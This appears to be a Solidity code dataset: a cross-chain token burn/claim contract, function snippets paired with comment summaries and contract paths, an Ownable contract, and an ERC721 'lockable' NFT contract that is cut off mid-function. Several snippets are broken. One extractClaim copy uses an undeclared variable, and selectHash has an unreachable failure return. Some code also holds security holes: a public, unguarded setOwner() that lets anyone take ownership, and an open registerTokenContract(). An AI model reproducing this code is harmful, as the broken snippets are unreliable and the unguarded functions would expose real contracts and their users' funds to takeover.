pragma solidity ^0.5.13; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20Detailed.sol"; import "solidity-rlp/contracts/RLPReader.sol"; import "./TxInclusionVerifier.sol"; contract Protocol1 is ERC20 { using RLPReader for RLPReader.RLPItem; using RLPReader for bytes; struct ClaimData { address burnContract; // the contract which has burnt the tokens on the other blockchian address recipient; address claimContract; uint value; // the value to create on this chain bool isBurnValid; // indicates whether the burning of tokens has taken place (didn't abort, e.g., due to require statement) } TxInclusionVerifier txInclusionVerifier; mapping(bytes32 => bool) claimedTransactions; uint chainIdentifier; mapping(address => bool) participatingTokenContracts; // addresses of the token contracts living on other blockchains uint TRANSFER_FEE = 10; // 1/10 of the transfer amount uint8 constant REQUIRED_TX_CONFIRMATIONS = 10; // number of blocks that have to follow the block containing a tx to consider it confirmed uint constant FAIR_CLAIM_PERIOD = 20; // Number of blocks that must follow the block containing the burn tx. // Posting a claim within this period results in transferring the fees to the burner. // If the claim is posted after this period, the client submitting the claim gets the fees. constructor(address[] memory tokenContracts, address txInclVerifier, uint initialSupply) public { for (uint i = 0; i < tokenContracts.length; i++) { participatingTokenContracts[tokenContracts[i]] = true; } txInclusionVerifier = TxInclusionVerifier(txInclVerifier); _mint(msg.sender, initialSupply); } // For simplicity, use this function to register further token contracts. // This has obvious security implications as any one is able to change this address -> do not use it in production. function registerTokenContract(address tokenContract) public { require(tokenContract != address(0), "contract address must not be zero address"); participatingTokenContracts[tokenContract] = true; } function burn(address recipient, address claimContract, uint value) public { require(recipient != address(0), "recipient address must not be zero address"); require(participatingTokenContracts[claimContract] == true, "claim contract address is not registered"); require(balanceOf(msg.sender) >= value, 'sender has not enough tokens'); _burn(msg.sender, value); emit Burn(recipient, claimContract, value); } function claim( bytes memory rlpHeader, // rlp-encoded header of the block containing burn tx along with its receipt bytes memory rlpEncodedTx, // rlp-encoded burn tx bytes memory rlpEncodedReceipt, // rlp-encoded receipt of burn tx ('burn receipt) bytes memory rlpMerkleProofTx, // rlp-encoded Merkle proof of Membership for burn tx (later passed to relay) bytes memory rlpMerkleProofReceipt, // rlp-encoded Merkle proof of Membership for burn receipt (later passed to relay) bytes memory path // the path from the root node down to the burn tx/receipt in the corresponding Merkle tries (tx, receipt). // path is the same for both tx and its receipt. ) public { ClaimData memory c = extractClaim(rlpEncodedTx, rlpEncodedReceipt); bytes32 txHash = keccak256(rlpEncodedTx); // check pre-conditions require(claimedTransactions[txHash] == false, "tokens have already been claimed"); require(participatingTokenContracts[c.burnContract] == true, "burn contract address is not registered"); require(c.claimContract == address(this), "this contract has not been specified as destination token contract"); require(c.isBurnValid == true, "burn transaction was not successful (e.g., require statement was violated)"); // verify inclusion of burn transaction uint txExists = txInclusionVerifier.verifyTransaction(0, rlpHeader, REQUIRED_TX_CONFIRMATIONS, rlpEncodedTx, path, rlpMerkleProofTx); require(txExists == 0, "burn transaction does not exist or has not enough confirmations"); // verify inclusion of receipt uint receiptExists = txInclusionVerifier.verifyReceipt(0, rlpHeader, REQUIRED_TX_CONFIRMATIONS, rlpEncodedReceipt, path, rlpMerkleProofReceipt); require(receiptExists == 0, "burn receipt does not exist or has not enough confirmations"); uint fee = calculateFee(c.value, TRANSFER_FEE); uint remainingValue = c.value - fee; address feeRecipient = c.recipient; if (msg.sender != c.recipient && txInclusionVerifier.isBlockConfirmed(0, keccak256(rlpHeader), FAIR_CLAIM_PERIOD)) { // other client wants to claim fees // fair claim period has elapsed -> fees go to msg.sender feeRecipient = msg.sender; } // mint fees to feeRecipient _mint(feeRecipient, fee); // mint remaining value to recipient _mint(c.recipient, remainingValue); claimedTransactions[txHash] = true; // IMPORTANT: prevent this tx from being used for further claims emit Claim(txHash, c.burnContract, c.recipient, feeRecipient, remainingValue, fee); } function extractClaim(bytes memory rlpTransaction, bytes memory rlpReceipt) private pure returns (ClaimData memory) { ClaimData memory c; // parse transaction RLPReader.RLPItem[] memory transaction = rlpTransaction.toRlpItem().toList(); c.burnContract = transaction[3].toAddress(); // parse receipt RLPReader.RLPItem[] memory receipt = rlpReceipt.toRlpItem().toList(); c.isBurnValid = receipt[0].toBoolean(); // read logs RLPReader.RLPItem[] memory logs = receipt[3].toList(); RLPReader.RLPItem[] memory burnEventTuple = logs[1].toList(); // logs[0] contains the transfer event emitted by the ECR20 method _burn // logs[1] contains the burn event emitted by the method burn (this contract) RLPReader.RLPItem[] memory burnEventTopics = burnEventTuple[1].toList(); // topics contain all indexed event fields // read value and recipient from burn event c.recipient = address(burnEventTopics[1].toUint()); // indices of indexed fields start at 1 (0 is reserved for the hash of the event signature) c.claimContract = address(burnEventTopics[2].toUint()); c.value = burnEventTopics[3].toUint(); return c; } /** * @dev Divides amount by divisor and returns the integer result. If the remainder is greater than 0, * the result is incremented by 1 (rounded up). */ function calculateFee(uint amount, uint divisor) private pure returns (uint) { uint result = amount / divisor; uint remainder = amount % divisor; if (remainder > 0) { // round towards next integer return result + 1; } else { return result; } } event Burn(address indexed recipient, address indexed claimContract, uint indexed value); event Claim( bytes32 indexed burnTxHash, address indexed burnContract, address indexed recipient, address feeRecipient, uint value, uint fee ); }
parse transaction parse receipt read logs logs[1] contains the burn event emitted by the method burn (this contract) read value and recipient from burn event
function extractClaim(bytes memory rlpTransaction, bytes memory rlpReceipt) private pure returns (ClaimData memory) { ClaimData memory c; RLPReader.RLPItem[] memory transaction = rlpTransaction.toRlpItem().toList(); c.burnContract = transaction[3].toAddress(); RLPReader.RLPItem[] memory receipt = rlpReceipt.toRlpItem().toList(); c.isBurnValid = receipt[0].toBoolean(); RLPReader.RLPItem[] memory logs = receipt[3].toList(); c.claimContract = address(burnEventTopics[2].toUint()); c.value = burnEventTopics[3].toUint(); return c; }
12,810,384
./full_match/4/0xF27b88C4B43148C2CeD4D8A53c4f293fcc1C1398/sources/jb3/ERC20.sol
------------------------------------------------------------------------ Token owner can approve for `spender` to transferFrom(...) `tokens` from the token owner's account. The `spender` contract function `receiveApproval(...)` is then executed ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); LaunchJB3(spender).receiveApproval(msg.sender, tokens, address(this), data); return true; }
12,300,485
./partial_match/1/0xC54698d116F40faBD5349BB7a756CFea1Cb084aD/sources/DRCHashDataCon.sol
selectHash,select method _self is where the data will be saved _hash is input value of hash return true/false,saver,save time/
function selectHash(Info storage _self, string memory _hash) internal view returns (bool, address, string memory, uint256) { if (_self.hashInfo[_hash].saveTime > 0) { return ( true, _self.hashInfo[_hash].saver, _self.hashInfo[_hash].saverName, _self.hashInfo[_hash].saveTime ); return (false, address(0), "", 0); } }
3,885,032
./partial_match/4/0x4a3474cfF0DEE8CE6d38220EC96a3d626b0B45E2/sources/dr-fischer-crypto/hexaa/4/0x4a3474cfF0DEE8CE6d38220EC96a3d626b0B45E2/HexRandETH.sol
get the total number of an addresses staked Tokens (not SHARES)/ no stakes, return 0 Get stake copy / Stake must must no be served full term to be counted /
function _getStakedREXTotal(address stakerAddr) internal view returns (uint256) { GlobalsCache memory g; GlobalsCache memory gSnapshot; _globalsLoad(g, gSnapshot); if(stakeLists[stakerAddr].length == 0) return uint256(0); uint256 stakeIndex = 0; uint256 stakeIndexEnd = stakeLists[stakerAddr].length; uint256 totalHaveStaked = 0; do { StakeStore storage stRef = stakeLists[stakerAddr][stakeIndex]; StakeCache memory st; _stakeLoadInt(stRef, st); if(g._currentDay >= st._lockedDay + st._stakedDays) { totalHaveStaked += st._stakedHave; } } while (++stakeIndex < stakeIndexEnd); return totalHaveStaked; }
8,576,420
./partial_match/1/0x4B12004B031f13caa8a28E2049f74F3D77653369/sources/contracts/UniAgent.sol
@inheritdoc IUniAgent
function approveAndSwap( RouterType routerType, address inputToken, uint256 inputAmount, bytes calldata payload, bytes calldata userPermit ) external payable override { _swap(routerType, true, inputToken, inputAmount, payload, userPermit); }
2,715,809
// SPDX-License-Identifier: MIT /** * * Faster Exchange * The High-Performance Transaction Credits Platform * * Copyright 2021 Sebastien Rousseau. All rights reserved. * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * */ // solhint-disable pragma solidity 0.5.16; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The setOwner constructor sets the original `owner` of the contract to the sender * account. */ function setOwner() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner { require( msg.sender == owner ); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { if (newOwner != address(0)) owner = newOwner; } }
Allows the current owner to transfer control of the contract to a newOwner. newOwner The address to transfer ownership to./
function transferOwnership(address newOwner) public onlyOwner { if (newOwner != address(0)) owner = newOwner; }
12,814,084
// SPDX-License-Identifier: MIT // Creator: Mai of Tessera Labs // Special Thanks to Diversity from Divine Anarchy for all his help reviewing pragma solidity ^0.8.12; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } interface ERC721TokenReceiver { function onERC721Received(address operator,address from, uint256 id, bytes calldata data) external returns (bytes4); } /** * Built to optimize for lower gas during batch mints and transfers. * A new locking mechanism has been added to protect users from all attempted scams. * * Assumes serials are sequentially minted starting at 0 (e.g. 0, 1, 2, 3..). * */ abstract contract ERC721L { using Address for address; using Strings for uint256; event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); event ApprovalForAll(address indexed owner, address indexed operator, bool approved); event Locked(address indexed owner, uint256 unlockCooldown); event Unlocked(address indexed owner, uint256 unlockTimestamp); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); struct addressData { uint64 balance; uint64 lockedUnlockTimestamp; uint64 lockedUnlockCooldown; bool locked; } struct collectionData { string name; string symbol; uint256 index; uint256 burned; } address private _contractOwner; collectionData internal _collectionData; mapping(uint256 => address) internal _ownerships; mapping(address => addressData) internal _addressData; mapping(uint256 => address) internal _tokenApprovals; mapping(address => mapping(address => bool)) private _operatorApprovals; constructor(string memory _name, string memory _symbol) { _collectionData.name = _name; _collectionData.symbol = _symbol; _transferOwnership(_msgSender()); } function _msgSender() internal view virtual returns (address) { return msg.sender; } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint` or `_safeMint`), */ function _exists(uint256 tokenId) public view virtual returns (bool) { return tokenId < _collectionData.index; } /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) public view virtual returns (address) { unchecked { if (tokenId < _collectionData.index) { address ownership = _ownerships[tokenId]; if (ownership != address(0)) { return ownership; } while (true) { tokenId--; ownership = _ownerships[tokenId]; if (ownership != address(0)) { return ownership; } } } } revert (); } /** * @dev Returns the number of tokens in `_owner`'s account. */ function balanceOf(address _owner) public view returns (uint256) { require(_owner != address(0), "Address 0"); return uint256(_addressData[_owner].balance); } /** * @dev Mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 quantity) internal { require(to != address(0), "Address 0"); require(quantity > 0, "Quantity 0"); unchecked { uint256 updatedIndex = _collectionData.index; _addressData[to].balance += uint64(quantity); _ownerships[updatedIndex] = to; for (uint256 i; i < quantity; i++) { emit Transfer(address(0), to, updatedIndex++); } _collectionData.index = updatedIndex; } } /** * @dev See Below {ERC721L-_safeMint}. */ function _safeMint(address to, uint256 quantity) internal { _safeMint(to, quantity, ''); } /** * @dev Safely mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - `to` cannot be the zero address. * - If `to` refers to a smart contract, it must implement {onERC721Received}, which is called for each safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 quantity, bytes memory _data) internal { require(to != address(0), "Address 0"); require(quantity > 0, "Quantity 0"); unchecked { uint256 updatedIndex = _collectionData.index; _addressData[to].balance += uint64(quantity); _ownerships[updatedIndex] = to; for (uint256 i; i < quantity; i++) { emit Transfer(address(0), to, updatedIndex); require(to.code.length == 0 || ERC721TokenReceiver(to).onERC721Received(_msgSender(), address(0), updatedIndex, _data) == ERC721TokenReceiver.onERC721Received.selector, "Unsafe Destination"); updatedIndex++; } _collectionData.index = updatedIndex; } } /** * @dev Returns whether `_owner`'s tokens are currently unlocked. */ function isUnlocked(address _owner) public view returns (bool) { return !_addressData[_owner].locked && _addressData[_owner].lockedUnlockTimestamp < block.timestamp; } /** * @dev Transfers `tokenId` from `from` to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - `from` must not have tokens locked. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 tokenId) public virtual { address currentOwner = ownerOf(tokenId); require(isUnlocked(from), "ERC721L: Tokens Locked"); require((_msgSender() == currentOwner || getApproved(tokenId) == _msgSender() || isApprovedForAll(currentOwner,_msgSender())), "ERC721L: Not Approved"); require(currentOwner == from, "ERC721L: Not Owner"); require(to != address(0), "ERC721L: Address 0"); delete _tokenApprovals[tokenId]; unchecked { _addressData[from].balance -= 1; _addressData[to].balance += 1; _ownerships[tokenId] = to; uint256 nextTokenId = tokenId + 1; if (_ownerships[nextTokenId] == address(0) && nextTokenId < _collectionData.index) { _ownerships[nextTokenId] = currentOwner; } } emit Transfer(from, to, tokenId); } /** * @dev See Below {ERC721L-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId) public virtual { safeTransferFrom(from, to, tokenId, ''); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {ERC721TokenReceiver}, which is called upon a safe transfer. * - `from` must not have tokens locked. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual { transferFrom(from, to, tokenId); require(to.code.length == 0 || ERC721TokenReceiver(to).onERC721Received(_msgSender(), address(0), tokenId, _data) == ERC721TokenReceiver.onERC721Received.selector, "Unsafe Destination"); } /** * @dev Batch transfers `quantity` tokens sequentially starting at `startID` from `from` to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `startID` token and all sequential tokens must exist and be owned by `from`. * - `from` must not have tokens locked. * * Emits `quantity` number of {Transfer} events. */ function batchTransferFrom(address from, address to, uint256 startID, uint256 quantity) public virtual { _batchTransferFrom(from, to, startID, quantity, false, ''); } /** * @dev See Below {ERC721L-batchSafeTransferFrom}. */ function batchSafeTransferFrom(address from, address to, uint256 startID, uint256 quantity) public virtual { batchSafeTransferFrom(from, to, startID, quantity, ''); } /** * @dev Safely batch transfers `quantity` tokens sequentially starting at `startID` from `from` to `to`, * checking first that contract recipients are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `startID` token and all sequential tokens must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {ERC721TokenReceiver}, which is called upon a safe transfer. * - `from` must not have tokens locked. * * Emits `quantity` number of {Transfer} events. */ function batchSafeTransferFrom(address from, address to, uint256 startID, uint256 quantity, bytes memory _data) public virtual { _batchTransferFrom(from, to, startID, quantity, true, _data); } function _batchTransferFrom (address from, address to, uint256 startID, uint256 quantity, bool safe, bytes memory _data) internal { require(isUnlocked(from), "ERC721L: Tokens Locked"); require(_msgSender() == from || isApprovedForAll(from,_msgSender()), "ERC721L: Not Approved"); require(multiOwnerCheck(from, startID, quantity), "ERC721L: Not Batchable"); require(to != address(0), "ERC721L: Address 0"); unchecked { for (uint256 i; i < quantity; i++) { uint256 currentToken = startID + i; delete _tokenApprovals[currentToken]; if (i == 0){ _ownerships[currentToken] = to; } else { delete _ownerships[currentToken]; } emit Transfer(from, to, currentToken); if (safe){ require(to.code.length == 0 || ERC721TokenReceiver(to).onERC721Received(_msgSender(), address(0), currentToken, _data) == ERC721TokenReceiver.onERC721Received.selector, "Unsafe Destination"); } } _addressData[from].balance -= uint64(quantity); _addressData[to].balance += uint64(quantity); uint256 nextTokenId = startID + quantity; if (_ownerships[nextTokenId] == address(0) && nextTokenId < _collectionData.index) { _ownerships[nextTokenId] = from; } } } /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() public view returns (uint256) { unchecked { return _collectionData.index - _collectionData.burned; } } /** * @dev Returns the total amount of tokens created by the contract. */ function totalCreated() public view returns (uint256) { return _collectionData.index; } /** * @dev Returns the total amount of tokens burned by the contract. */ function totalBurned() public view returns (uint256) { return _collectionData.burned; } /** * @dev Returns whether `_addressToCheck` is the owner of `quantity` tokens sequentially starting from `startID`. * * Requirements: * * - `startID` token and all sequential tokens must exist. */ function multiOwnerCheck(address _addressToCheck, uint256 startID, uint256 quantity) internal view returns (bool) { require(quantity > 1, "Low Quantity"); unchecked { for (uint256 i; i < quantity; i++) { if (ownerOf(startID + i) != _addressToCheck){ return false; } } } return true; } /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * - Owner must not have tokens locked. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool approved) public { require(operator != _msgSender(), "ERC721L: Address is Owner"); require(isUnlocked(_msgSender()), "ERC721L: Tokens Locked"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev Returns if the `operator` is allowed to manage all of the assets of `_owner` and tokens are unlocked for `_owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address _owner, address operator) public view returns (bool) { return !isUnlocked(_owner) ? false : _operatorApprovals[_owner][operator]; } /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) public { address tokenOwner = ownerOf(tokenId); require(_msgSender() == tokenOwner || isApprovedForAll(tokenOwner, _msgSender()), "ERC721L: Not Approved"); _tokenApprovals[tokenId] = to; emit Approval(tokenOwner, to, tokenId); } /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) public view returns (address) { require(_exists(tokenId), "ERC721L: Null ID"); return _tokenApprovals[tokenId]; } /** * @dev Locks `_owner`'s tokens from any form of transferring. * Requirements: * * - The `caller` cannot have their tokens locked currently. * * Emits a {Locked} event. */ function lock(uint256 _cooldown) public { require(!_addressData[_msgSender()].locked, "Tokens currently locked"); require(_cooldown > 0 && _cooldown < 31, "Invalid Cooldown"); unchecked { uint256 proposedCooldown = _cooldown * 1 days; require(block.timestamp + proposedCooldown > _addressData[_msgSender()].lockedUnlockTimestamp, "Proposed cooldown too small"); _addressData[_msgSender()].locked = true; _addressData[_msgSender()].lockedUnlockCooldown = uint64(proposedCooldown); } emit Locked(_msgSender(), _cooldown); } /** * @dev Begins unlocking process for `_owner`'s tokens. * Requirements: * * - The `caller` cannot have their tokens unlocked currently. * * Emits an {Unlocked} event. */ function unlock() public { require(_addressData[_msgSender()].locked, "Tokens currently unlocked"); delete _addressData[_msgSender()].locked; unchecked { _addressData[_msgSender()].lockedUnlockTimestamp = uint64(block.timestamp + _addressData[_msgSender()].lockedUnlockCooldown); } emit Unlocked(_msgSender(), block.timestamp); } /** * @dev Returns the token collection name. */ function name() public view returns (string memory) { return _collectionData.name; } /** * @dev Returns the token collection symbol. */ function symbol() public view returns (string memory) { return _collectionData.symbol; } /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) public view virtual returns (string memory) { require(_exists(tokenId), "ERC721L: Null ID"); string memory _baseURI = baseURI(); return bytes(_baseURI).length > 0 ? string(abi.encodePacked(_baseURI, tokenId.toString())) : ''; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function baseURI() public view virtual returns (string memory) { return ''; } /** * @dev Returns tokenIDs owned by `_owner`. */ function tokensOfOwner(address _owner) public view returns (uint256[] memory) { uint256 totalOwned = _addressData[_owner].balance; require(totalOwned > 0, "balance 0"); uint256 supply = _collectionData.index; uint256[] memory tokenIDs = new uint256[](totalOwned); uint256 ownedIndex; address currentOwner; unchecked { for (uint256 i; i < supply; i++) { address currentAddress = _ownerships[i]; if (currentAddress != address(0)) { currentOwner = currentAddress; } if (currentOwner == _owner) { tokenIDs[ownedIndex++] = i; if (ownedIndex == totalOwned){ return tokenIDs; } } } } revert(); } function owner() public view returns (address) { return _contractOwner; } modifier onlyOwner() { require(owner() == _msgSender(), "Caller not owner"); _; } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0), "Zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal { address oldOwner = _contractOwner; _contractOwner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } /** * @dev Returns `_owner`'s lock status and unlock timestamp in unix time, and personal lock cooldown in days. */ function getLockData(address _owner) public view returns (bool, uint256, uint256) { return (_addressData[_owner].locked, _addressData[_owner].lockedUnlockTimestamp, _addressData[_owner].lockedUnlockCooldown); } /** * @dev Returns the token collection information. */ function collectionInformation() public view returns (collectionData memory) { return _collectionData; } function supportsInterface(bytes4 interfaceId) public pure virtual returns (bool) { return interfaceId == 0x01ffc9a7 || // ERC165 Interface ID for ERC165 interfaceId == 0x80ac58cd || // ERC165 Interface ID for ERC721 interfaceId == 0x5b5e139f; // ERC165 Interface ID for ERC721Metadata } } abstract contract ERC721LBurnable is ERC721L { function _exists(uint256 tokenId) public view override returns (bool) { if (tokenId < _collectionData.index && _ownerships[tokenId] != address(0x000000000000000000000000000000000000dEaD)){ unchecked { address currentOwner = _ownerships[tokenId]; if (currentOwner != address(0)) { return true; } while (true) { tokenId--; currentOwner = _ownerships[tokenId]; if (currentOwner == address(0x000000000000000000000000000000000000dEaD)) { return false; } if (currentOwner != address(0)) { return true; } } } } return false; } function ownerOf(uint256 tokenId) public view override returns (address) { unchecked { if (tokenId < _collectionData.index) { address ownership 